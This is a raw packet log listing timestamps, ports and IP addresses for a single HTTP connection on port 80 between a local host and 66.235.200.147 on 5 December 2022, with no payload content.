Dec 5, 2022 06:44:31.268640995 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268646955 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268659115 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268665075 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268676996 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268683910 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268695116 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268702030 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268712044 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268721104 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268728971 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268738985 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268747091 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268758059 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268765926 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268775940 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268788099 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268795013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268800974 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268812895 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268819094 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268830061 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268836975 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268848896 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268857956 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268867016 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268877029 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268884897 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268891096 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268903971 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268909931 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268920898 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268928051 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268939972 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268944979 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268958092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268963099 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268978119 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268981934 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268996000 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269001961 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269013882 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269017935 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269033909 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269033909 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269048929 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269052029 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269071102 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269077063 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269088984 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269089937 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269105911 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269112110 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269123077 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269124031 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269143105 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269150019 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269160032 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269162893 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269184113 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269192934 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269201040 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269211054 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269228935 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269236088 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269247055 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269248009 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269265890 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269272089 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269284010 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269290924 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269303083 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269310951 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269321918 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269335032 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269339085 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269350052 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269356966 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269366980 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269376040 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269388914 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269396067 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269407034 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269414902 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269426107 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269433975 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269445896 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269450903 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269459963 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269469023 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269479990 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269485950 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269495964 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269503117 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269514084 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269520998 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269536018 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269537926 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269551992 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269556046 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269571066 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269573927 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269587040 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269593954 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269604921 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269623041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269623995 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269642115 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269663095 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269666910 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269686937 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269705057 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269709110 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269721031 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269723892 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269740105 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269742966 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269759893 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269768953 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269778967 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269782066 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269797087 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269807100 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269815922 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269815922 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269831896 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269855976 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269861937 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269880056 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269906998 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269915104 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269928932 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269933939 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269952059 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269963026 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269972086 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.269982100 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.269990921 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270000935 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270009041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270020008 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270028114 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270036936 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270046949 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270056963 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270065069 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270075083 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270083904 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270093918 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270102024 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270113945 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270119905 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270132065 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270138979 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270150900 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270155907 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270165920 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270175934 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270188093 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270193100 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270203114 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270211935 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270224094 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270231962 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270242929 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270250082 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270260096 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270268917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270278931 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270287991 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270298004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270306110 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270318031 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270323992 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270333052 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270343065 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270349026 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270360947 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270365953 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270380020 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270386934 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270399094 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270406008 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270416975 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270422935 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270436049 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270442963 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270454884 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270461082 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270473957 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270483971 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270492077 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270497084 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270509958 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270509958 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270530939 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270536900 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270555019 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270562887 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270575047 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270580053 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270592928 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270601034 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270612001 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270617962 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270632982 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270649910 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270802021 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270838976 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270853996 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270858049 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270889044 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270889997 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270905972 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270916939 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270936966 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270944118 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270955086 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270956039 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270971060 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.270976067 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.270993948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271013021 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271032095 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271050930 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271070004 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271084070 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271089077 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271106958 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271119118 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271126032 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271140099 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271143913 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271162987 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271167994 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271182060 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271193027 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271199942 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271217108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271223068 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271235943 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271245003 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271255016 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271272898 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271272898 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271291971 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271298885 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271311045 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271322966 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271331072 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271343946 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271348000 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271362066 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271367073 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271378040 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271384954 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271397114 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271403074 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271418095 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271423101 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271433115 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271440983 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271450043 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271459103 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271470070 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271477938 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271492004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271496058 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271507978 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271514893 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271526098 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271533012 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271542072 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271552086 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271560907 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271569967 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271589994 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271610975 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.271730900 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271795034 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271814108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271832943 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271852970 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271872044 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271889925 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271923065 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271970034 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.271989107 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272006989 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272026062 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272043943 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272062063 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272080898 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272099972 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272119045 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272136927 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272156000 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272167921 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.272173882 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272183895 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.272192955 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272212029 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272229910 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272229910 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.272250891 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272257090 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.272279978 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.272317886 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.272336960 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272370100 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272388935 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272423983 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272455931 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272490025 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272509098 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272541046 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272558928 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272578001 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272595882 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272604942 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.272615910 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272634029 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272651911 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272670031 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272675037 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.272687912 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272706985 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272713900 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.272723913 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272732019 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.272742987 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272757053 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.272774935 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.272816896 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272820950 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.272850037 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272870064 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272886992 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272907019 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.272914886 CET	49703	80	192.168.2.3	66.235.200.147
